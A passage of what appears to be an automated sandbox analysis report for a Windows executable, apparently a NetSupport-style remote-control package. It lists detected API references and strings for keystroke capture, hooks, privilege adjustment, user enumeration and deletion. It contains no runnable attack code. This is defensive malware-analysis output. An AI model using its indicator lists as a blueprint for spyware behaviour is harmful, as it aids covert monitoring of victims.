00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")7b:T90d,Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegNotifyChangeKeyValue" (Indicator: "RegNotifyChangeKeyValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegOpenKeyTransactedA" (Indicator: "RegOpenKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegOpenKeyTransactedA" (Indicator: "RegOpenKeyTransacted"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")7c:T406,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp")7d:T100c,Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "Error. UdpFileStart GetTempFileName e=%d" (Indicator: "GetTempFileName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")7e:T8ca,Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetKeyNameTextW" (Indicator: "GetKeyNameText"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.73167000.00000002.mdmp")7f:T44a,Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleFileNameExA" (Indicator: "GetModuleFileName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp")80:T1107,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LookupAccountSidA" (Indicator: "LookupAccountSid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LsaLookupSids" (Indicator: "LsaLookupSids"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "Win32API|System Information Functions|GetUserName" (Indicator: "GetUserName"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "WTSQuerySessionInformationA" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Warning. OpenProcessToken failed, e=%d" (Indicator: "OpenProcessToken"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "OpenProcessToken FAILED (%d)" (Indicator: "OpenProcessToken"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "NSMPlatform95::GetLoggedOnUserName - GetUserName returned %d" (Indicator: "GetUserName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetUserNameEx ret %d, %s, time=%d ms, e=%d" (Indicator: "GetUserName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetUserNameExA" (Indicator: "GetUserName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "NetUserGetInfo(%ls\%ls) took %d ms and ret x%x" (Indicator: "NetUserGetInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "NetWkstaUserGetInfo" (Indicator: "NetWkstaUserGetInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")81:T66c,file/memory contains long string with (Indicator: "password"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") file/memory contains long string with (Indicator: "password"; File: "00000000-00006300.00000000.102921.00161000.00000020.mdmp") Found string "?password@QUrl@@QBE?AVQString@@V?$QFlags@W4ComponentFormattingOption@QUrl@@@@@Z" (Indicator: "password"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found string "Wrong username or password" (Indicator: "password"; Source: "00000000-00001628.00000001.107910.111F2000.00000002.mdmp") Found string "Without supplying the correct password you can only send a message to this Client." (Indicator: "password"; Source: "00000000-00001628.00000001.107910.111F2000.00000002.mdmp") Found string "To Share, Watch, Control, Chat, Show or transfer files enter the correct password." (Indicator: "password"; Source: "00000000-00001628.00000001.107910.111F2000.00000002.mdmp") Found string "Wrong username or password!Wrong version of CLIENT installedvDoes not support the selected encryption mode, please upgrade this Client or select a lower encryption mode (i.e. DES)2Requires an encryption level that is not available" (Indicator: "password"; Source: "00000000-00001628.00000001.107910.111F2000.00000002.mdmp") Found string "Unknown method%Expected return address at stack base%Scheme "%s" already registered for %s$Credential without user and password+Platform-dependant function not implemented)Scheme-dependant function not implemented" (Indicator: "password"; Source: "00000000-00005220.00000000.103022.00B57000.00000002.mdmp")82:T4bf,"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3F709462-4AD7-482F-8761-C6ED6AD145A1}" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00001628.00000000.105989.1118F000.00000002.mdmp83:T6c3,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "pcicapi.dll") file/memory contains long string with (Indicator: "OpenProcess"; File: "TCCTL32.DLL") file/memory contains long string with (Indicator: "OpenProcess"; File: "is-40SJ6.tmp") file/memory contains long string with (Indicator: "OpenProcess"; File: "is-8NH4D.tmp") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00007184-00000C2B-638603942") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00007184-00000C2B-638606046") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00007184-00000C2B-638606090") Found string "Warning. OpenProcess failed for pid %x, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "Warning. OpenProcessToken failed, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "OpenProcessToken FAILED (%d)" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp")84:T409,Observed import api "OpenProcess" which can be "used to open a process handle" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: pcicapi.dll] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: PCICL32.DLL] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: is-E4H59.tmp] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: is-44761.tmp] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: is-HK8T3.tmp] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: TCCTL32.DLL] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: HTCTL32.DLL]85:T4e2,Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")86:T51a,Found reference to API "RegDeleteKeyA" (Indicator: "RegDeleteKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegDeleteValueW" (Indicator: "RegDeleteValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegDeleteKeyW" (Indicator: "RegDeleteKey"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "RegDeleteKeyTransactedA" (Indicator: "RegDeleteKeyTransacted"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegDeleteKeyTransactedA" (Indicator: "RegDeleteKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegDeleteKeyExA" (Indicator: "RegDeleteKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RegDeleteKeyA" (Indicator: "RegDeleteKey"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")87:T60c,Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.73167000.00000002.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.73167000.00000002.mdmp")88:T62f,Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AdjustTokenPrivileges FAILED - privelege: %s (%d)" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")89:T109c,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "AllocateLocallyUniqueId" (Indicator: "AllocateLocallyUniqueId"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CopySid" (Indicator: "CopySid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetAce" (Indicator: "GetAce"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SetSecurityDescriptorSacl" (Indicator: "SetSecurityDescriptorSacl"; File: 